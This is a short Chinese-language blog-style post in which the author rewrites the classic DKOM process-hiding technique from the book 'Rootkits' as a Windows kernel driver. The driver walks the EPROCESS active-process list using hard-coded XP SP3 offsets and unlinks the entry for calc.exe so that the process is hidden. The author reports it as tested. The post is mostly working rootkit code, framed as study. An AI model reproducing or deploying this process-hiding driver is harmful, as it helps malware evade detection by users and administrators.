DKOM即"直接内核对象操作",
关于修改双向链表隐藏进程.网上和书刊上几乎都照抄了<<ROOTKITS>>一书,
我发牢骚的是老外在修改链表时的精简代码看得莫名其妙.可能我太菜了吧对数据结构不熟悉,不过记得<<C与指针>>的作者都说了,一行代码尽量干一件事情,表达一目了然.
所以我自己重新写了一份.
#include "ntddk.h"
void Unload(IN PDRIVER_OBJECT DO) { DbgPrint("this is Unload!"); } char* GetProcessNameByEPROCESS(ULONG ulAddr) { ulAddr -= 0x88; return (char*)ulAddr +0x174; } void HiddenProcess(char *ProcessName) {
ULONG ulAddr,ulOldAddr; LIST_ENTRY* leEntry,*leB_Entry,*leF_Entry; ulAddr = (ULONG)PsGetCurrentProcess(); ulAddr += 0x88; ulOldAddr = ulAddr; do { leEntry = (LIST_ENTRY*)ulAddr; if (0 == strcmp(ProcessName,GetProcessNameByEPROCESS(ulAddr))) { leB_Entry = leEntry->Blink; leF_Entry = leEntry->Flink; leB_Entry->Flink = leEntry->Flink; leF_Entry->Blink = leB_Entry; //*leEntry->Blink = leEntry->Flink;//后链,上一个 //*(leEntry->Flink+1) = leEntry ->Blink;//前链,下一个 leEntry->Flink+1 = Blink } ulAddr = (ULONG)leEntry->Flink; //ulAddr = *(ULONG*)ulAddr; } while (ulOldAddr != ulAddr);
} NTSTATUS DriverEntry(IN PDRIVER_OBJECT DO,IN PUNICODE_STRING RegPath) {
//因为是c编译器,所以得开头就声明 char *str = "calc.exe"; DO->DriverUnload = Unload; DbgPrint("this is entry!"); HiddenProcess(str); return STATUS_SUCCESS; }
硬编码偏移和操作系统版本有关:EPROCESS+0x88指向双向链表,EPROCESS+0x174指向进程名.
在xp,sp3下测试通过,隐藏进程名为calc.exe的进程.注意UNLOAD时没有进行恢复操作.
代码中双斜杠注释掉的部分即原文书写方式.
另外提出一些新的问题和猜想,下一篇作答好了。
1.PsGetCurrentProcess()获取的当前进程是哪个进程?
2.很多书上建议字符串用UNICODE_STRING结构,但是根据本例子沿用ring3编程时的习惯似乎也没有问题。
3.比较字符串时我想用lstrcmpi,却提示未定义。那么哪些ring3时编程的东西现在可以用呢?
strcmp是c标准函数的缘故导致可以用,ntoskrnl.exe导出了strcmp?
|